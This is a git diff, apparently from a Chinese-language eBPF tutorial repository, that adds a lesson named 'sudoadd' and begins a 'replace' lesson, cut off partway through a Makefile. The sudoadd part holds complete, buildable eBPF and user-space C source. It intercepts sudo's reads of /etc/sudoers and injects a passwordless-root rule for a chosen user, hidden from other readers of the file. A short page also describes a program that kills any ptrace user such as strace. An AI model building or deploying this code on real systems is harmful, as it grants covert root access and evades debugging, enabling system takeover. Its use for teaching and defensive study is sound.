    这个程序会对任何试图使用 ptrace 系统调用的程序,例如 strace,发出 SIG_KILL 信号。 +一旦 bpf-dos 开始运行,你可以通过运行以下命令进行测试:

    +
    strace /bin/whoami
    +
    +

    参考资料

    + + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/26-sudo/.gitignore b/26-sudo/.gitignore new file mode 100644 index 0000000..b15967f --- /dev/null +++ b/26-sudo/.gitignore @@ -0,0 +1,9 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +sudoadd diff --git a/26-sudo/LICENSE b/26-sudo/LICENSE new file mode 100644 index 0000000..47fc3a4 --- /dev/null +++ b/26-sudo/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2020, Andrii Nakryiko +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/26-sudo/Makefile b/26-sudo/Makefile new file mode 100644 index 0000000..1c2357e --- /dev/null +++ b/26-sudo/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = sudoadd # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/26-sudo/common.h b/26-sudo/common.h new file mode 100644 index 0000000..3e51864 --- /dev/null +++ b/26-sudo/common.h @@ -0,0 +1,37 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_H +#define BAD_BPF_COMMON_H + +// These are used by a number of +// different programs to sync eBPF Tail Call +// login between user space and kernel +#define PROG_00 0 +#define PROG_01 1 +#define PROG_02 2 + +// Used when replacing text +#define FILENAME_LEN_MAX 50 +#define TEXT_LEN_MAX 20 +#define max_payload_len 100 +#define sudoers_len 13 + +// Simple message structure to get events from eBPF Programs +// in the kernel to user spcae +#define TASK_COMM_LEN 16 +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; + +struct tr_file { + char filename[FILENAME_LEN_MAX]; + unsigned int filename_len; +}; + +struct tr_text { + char text[TEXT_LEN_MAX]; + unsigned int text_len; +}; + +#endif // BAD_BPF_COMMON_H diff --git a/26-sudo/common_um.h b/26-sudo/common_um.h new file mode 100644 index 0000000..06267aa --- /dev/null +++ b/26-sudo/common_um.h @@ -0,0 +1,96 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_UM_H +#define BAD_BPF_COMMON_UM_H + +#include +#include +#include +#include +#include +#include +#include + +static volatile sig_atomic_t exiting; + +void sig_int(int signo) +{ + exiting = 1; +} + +static bool setup_sig_handler() { + // Add handlers for SIGINT and SIGTERM so we shutdown cleanly + __sighandler_t sighandler = signal(SIGINT, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + sighandler = signal(SIGTERM, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + return true; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static bool bump_memlock_rlimit(void) +{ + struct rlimit rlim_new = { + .rlim_cur = RLIM_INFINITY, + .rlim_max = RLIM_INFINITY, + }; + + if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { + fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n"); + return false; + } + return true; +} + + +static bool setup() { + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything + if (!bump_memlock_rlimit()) { + return false; + }; + + // Setup signal handler so we exit cleanly + if (!setup_sig_handler()) { + return false; + } + + return true; +} + + +#ifdef BAD_BPF_USE_TRACE_PIPE +static void read_trace_pipe(void) { + int trace_fd; + + trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0); + if (trace_fd == -1) { + printf("Error opening trace_pipe: %s\n", strerror(errno)); + return; + } + + while (!exiting) { + static char buf[4096]; + ssize_t sz; + + sz = read(trace_fd, buf, sizeof(buf) -1); + if (sz > 0) { + buf[sz] = '\x00'; + puts(buf); + } + } +} +#endif // BAD_BPF_USE_TRACE_PIPE + +#endif // BAD_BPF_COMMON_UM_H \ No newline at end of file diff --git a/26-sudo/index.html b/26-sudo/index.html new file mode 100644 index 0000000..2a8da3d --- /dev/null +++ b/26-sudo/index.html @@ -0,0 +1,211 @@ + + + + + + 使用 eBPF 添加 sudo 用户 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    使用 eBPF 添加 sudo 用户

    +

    编译:

    +
    make
    +
    +

    使用方式:

    +
    sudo ./sudoadd --username lowpriv-user
    +
    +

    这个程序允许一个通常权限较低的用户使用 sudo 成为 root。

    +

    它通过拦截 sudo 读取 /etc/sudoers 文件,并将第一行覆盖为 <username> ALL=(ALL:ALL) NOPASSWD:ALL # 的方式工作。这欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 catsudoedit 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 # 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。

    +

    参考资料

    + + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/26-sudo/sudoadd.bpf.c b/26-sudo/sudoadd.bpf.c new file mode 100644 index 0000000..610d83a --- /dev/null +++ b/26-sudo/sudoadd.bpf.c @@ -0,0 +1,215 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to hold the File Descriptors from 'openat' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// The UserID of the user, if we're restricting +// running to just this user +const volatile int uid = 0; + +// These store the string we're going to +// add to /etc/sudoers when viewed by sudo +// Which makes it think our user can sudo +// without a password +const volatile int payload_len = 0; +const volatile char payload[max_payload_len]; + +SEC("tp/syscalls/sys_enter_openat") +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Check comm is sudo + char comm[TASK_COMM_LEN]; + bpf_get_current_comm(comm, sizeof(comm)); + const int sudo_len = 5; + const char *sudo = "sudo"; + for (int i = 0; i < sudo_len; i++) { + if (comm[i] != sudo[i]) { + return 0; + } + } + + // Now check we're opening sudoers + const char *sudoers = "/etc/sudoers"; + char filename[sudoers_len]; + bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]); + for (int i = 0; i < sudoers_len; i++) { + if (filename[i] != sudoers[i]) { + return 0; + } + } + bpf_printk("Comm %s\n", comm); + bpf_printk("Filename %s\n", filename); + + // If filtering by UID check that + if (uid != 0) { + int current_uid = bpf_get_current_uid_gid() >> 32; + if (uid != current_uid) { + return 0; + } + } + + // Add pid_tgid to map for our sys_exit call + unsigned int zero = 0; + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_exit_openat") +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // Set the map value to be the returned file descriptor + unsigned int fd = (unsigned int)ctx->ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_enter_read") +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // Check this is the sudoers file descriptor + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)ctx->args[0]; + if (map_fd != fd) { + return 0; + } + + // Store buffer address from arguments in map + long unsigned int buff_addr = ctx->args[1]; + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // log and exit + size_t buff_size = (size_t)ctx->args[2]; + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int handle_read_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is reading our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + long unsigned int buff_addr = *pbuff_addr; + if (buff_addr <= 0) { + return 0; + } + + // This is amount of data returned from the read syscall + if (ctx->ret <= 0) { + return 0; + } + long int read_size = ctx->ret; + + // Add our payload to the first line + if (read_size < payload_len) { + return 0; + } + + // Overwrite first chunk of data + // then add '#'s to comment out rest of data in the chunk. + // This sorta corrupts the sudoers file, but everything still + // works as expected + char local_buff[max_payload_len] = { 0x00 }; + bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr); + for (unsigned int i = 0; i < max_payload_len; i++) { + if (i >= payload_len) { + local_buff[i] = '#'; + } + else { + local_buff[i] = payload[i]; + } + } + // Write data back to buffer + long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len); + + // Send event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + return 0; +} + +SEC("tp/syscalls/sys_exit_close") +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check if we're a process thread of interest + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // Closing file, delete fd from all maps to clean up + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} diff --git a/26-sudo/sudoadd.c b/26-sudo/sudoadd.c new file mode 100644 index 0000000..fc6e1f3 --- /dev/null +++ b/26-sudo/sudoadd.c @@ -0,0 +1,175 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include +#include "sudoadd.skel.h" +#include "common_um.h" +#include "common.h" +#include + +#define INVALID_UID -1 +// https://stackoverflow.com/questions/3836365/how-can-i-get-the-user-id-associated-with-a-login-on-linux +uid_t lookup_user(const char *name) +{ + if(name) { + struct passwd *pwd = getpwnam(name); /* don't free, see getpwnam() for details */ + if(pwd) return pwd->pw_uid; + } + return INVALID_UID; +} + +// Setup Argument stuff +#define max_username_len 20 +static struct env { + char username[max_username_len]; + bool restrict_user; + int target_ppid; +} env; + +const char *argp_program_version = "sudoadd 1.0"; +const char *argp_program_bug_address = ""; +const char argp_program_doc[] = +"SUDO Add\n" +"\n" +"Enable a user to elevate to root\n" +"by lying to 'sudo' about the contents of /etc/sudoers file\n" +"\n" +"USAGE: ./sudoadd -u username [-t 1111] [-r uid]\n"; + +static const struct argp_option opts[] = { + { "username", 'u', "USERNAME", 0, "Username of user to " }, + { "restrict", 'r', NULL, 0, "Restict to only run when sudo is executed by the matching user" }, + { "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." }, + {}, +}; +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) { + case 'u': + if (strlen(arg) >= max_username_len) { + fprintf(stderr, "Username must be less than %d characters\n", max_username_len); + argp_usage(state); + } + strncpy(env.username, arg, sizeof(env.username)); + break; + case 'r': + env.restrict_user = true; + break; + case 't': + errno = 0; + env.target_ppid = strtol(arg, NULL, 10); + if (errno || env.target_ppid <= 0) { + fprintf(stderr, "Invalid pid: %s\n", arg); + argp_usage(state); + } + break; + case 'h': + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Tricked Sudo PID %d to allow user to become root\n", e->pid); + else + printf("Failed to trick Sudo PID %d to allow user to become root\n", e->pid); + return 0; +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct sudoadd_bpf *skel; + int err; + + // Parse command line arguments + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) { + return err; + } + if (env.username[0] == '\x00') { + printf("Username Requried, see %s --help\n", argv[0]); + exit(1); + } + + // Do common setup + if (!setup()) { + exit(1); + } + + // Open BPF application + skel = sudoadd_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } + + // Let bpf program know our pid so we don't get kiled by it + skel->rodata->target_ppid = env.target_ppid; + + // Copy in username + sprintf(skel->rodata->payload, "%s ALL=(ALL:ALL) NOPASSWD:ALL #", env.username); + skel->rodata->payload_len = strlen(skel->rodata->payload); + + // If restricting by UID, look it up and set it + // as this can't really be done by eBPF program + if (env.restrict_user) { + int uid = lookup_user(env.username); + if (uid == INVALID_UID) { + printf("Couldn't get UID for user %s\n", env.username); + goto cleanup; + } + skel->rodata->uid = uid; + } + + // Verify and load program + err = sudoadd_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + // Attach tracepoint handler + err = sudoadd_bpf__attach( skel); + if (err) { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + goto cleanup; + } + + // Set up ring buffer + rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + printf("Successfully started!\n"); + while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) { + err = 0; + break; + } + if (err < 0) { + printf("Error polling perf buffer: %d\n", err); + break; + } + } + +cleanup: + sudoadd_bpf__destroy( skel); + return -err; +} diff --git a/27-replace/.gitignore b/27-replace/.gitignore new file mode 100644 index 0000000..d630f18 --- /dev/null +++ b/27-replace/.gitignore @@ -0,0 +1,9 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +replace diff --git a/27-replace/LICENSE b/27-replace/LICENSE new file mode 100644 index 0000000..47fc3a4 --- /dev/null +++ b/27-replace/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2020, Andrii Nakryiko +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/27-replace/Makefile b/27-replace/Makefile new file mode 100644 index 0000000..e696bfd --- /dev/null +++ b/27-replace/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = replace # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst 